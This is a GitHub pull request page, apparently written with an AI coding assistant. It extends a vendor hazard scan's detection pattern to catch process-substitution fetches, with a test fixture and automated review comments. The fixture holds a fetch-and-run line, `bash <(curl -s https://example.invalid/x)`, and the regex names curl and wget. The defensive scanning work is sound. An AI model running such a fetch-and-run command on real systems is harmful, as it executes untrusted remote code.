Repository navigation
test(playbooks): flag process-substitution fetches in the vendor hazard scan - #8850
Conversation
…rd scan The skill-authoring stay-loud scan matched pipe-to-shell fetches but not `bash <(curl ...)`. Add the `<(curl|wget` form and a fixture case that failed before the pattern change. Closes #8630 Co-Authored-By: Claude Opus 5.5 <[email protected]>
Codex Review SummaryThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
|
claude-review reviewed No findings on PR #8850. I read the diff and the PR context only and did not run the tests.
|
|
claude-security-review reviewed No security findings in PR #8850 at head 6f05a9f. The PR adds one grep pattern,
|
Closes #8630
Summary
The stay-loud vendor hazard scan in
plugins/playbooks/skills/skill-authoring/scripts/update.test.shcaught pipe-to-shell fetches (curl ... | bash) but not process substitution, so a vendoredbash <(curl -s https://example.invalid/x)passed.Fix
<\([[:space:]]*(curl|wget)([^[:alnum:]_]|$)tovendor_hazards.bash <(curl -s https://example.invalid/x)..changes/playbooks/(patch, Fixed).Verification
FAIL: hazard scan flags a process-substitution fetch(expected1:bash <(curl -s https://example.invalid/x), actual empty);1/32 checks failed.All 32 checks passed., including the realvendor/upstream-skill.mdscan still returning no hits.scripts/affected-tests.sh --explain plugins/playbooks/skills/skill-authoring/vendor/upstream-skill.mdselectsupdate.test.sh("references upstream-skill.md"), so a vendor change runs this test. Theplugins/*/skills/*/vendor/**exclusion inscripts/check-affected.shapplies only to the typos check.Related
🤖 Generated with Claude Code